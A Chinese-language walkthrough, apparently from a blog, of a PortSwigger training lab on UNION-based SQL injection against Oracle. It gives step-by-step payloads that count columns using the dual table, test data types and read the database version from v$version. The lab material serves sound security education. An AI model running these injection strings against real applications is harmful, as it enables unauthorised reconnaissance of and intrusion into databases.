从业者-信息查询-Oracle的数据库类型和版本
# 实验室:SQL注入攻击,查询Oracle的数据库类型和版本
# 题目
此实验室在产品类别筛选器中包含SQL注入 (opens new window)漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。
若要解决实验室问题,请显示数据库版本字符串。
提示
在 Oracle 数据库中,每个SELECT
语句都必须使用FROM
指定一个要选择的表。如果UNION SELECT
攻击没有从表中查询,那么仍然需要包含FROM
关键字,后面跟着一个有效的表名。
Oracle 上有一个名为dual
的内置表,你可以使用它来实现这个目的。例如:UNION SELECT 'abc' FROM dual
有关更多信息,请参阅我们的SQL注入备忘单 (opens new window)。
- name: 实验室-从业者
desc: SQL注入攻击,查询Oracle的数据库类型和版本 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实验室
根据题意,可得实验目标:
- 在产品类别筛选器中 执行SQL注入UNION攻击,并查询数据库软件版本
点击 “Access the lab” 访问实验室
点击产品类别,找到产品类别筛选器
查询空字符,判断原始列数
- 注意,Oracle数据库中的每个 SELECT 查询 都必须使用 FROM 指定一个表名
- 详情请查阅本题题目
' UNION SELECT NULL,NULL FROM dual-- qwe
1

判断列数据类型
- 此处两列都可以作为字符串数据进行查询
' UNION SELECT 'abcdefg','hijklmn' FROM dual-- qwe
1

根据题目,此处的数据库软件类型为Oracle
查阅SQL注入备忘单 (opens new window),找到Oracle数据库的版本查询语法(有两种)
SELECT banner FROM v$version
SELECT version FROM v$instance
1
2
3
2
3

通过第一个查询语法,成功查询出数据库版本(版本信息过长,被分为了多列)
' UNION SELECT banner,'hijklmn' FROM v$version-- qwe
1

实验室提示我们完成了实验
此处尝试第二个查询语法,失败
' UNION SELECT version,NULL FROM v$instance-- qwe
1

编辑 (opens new window)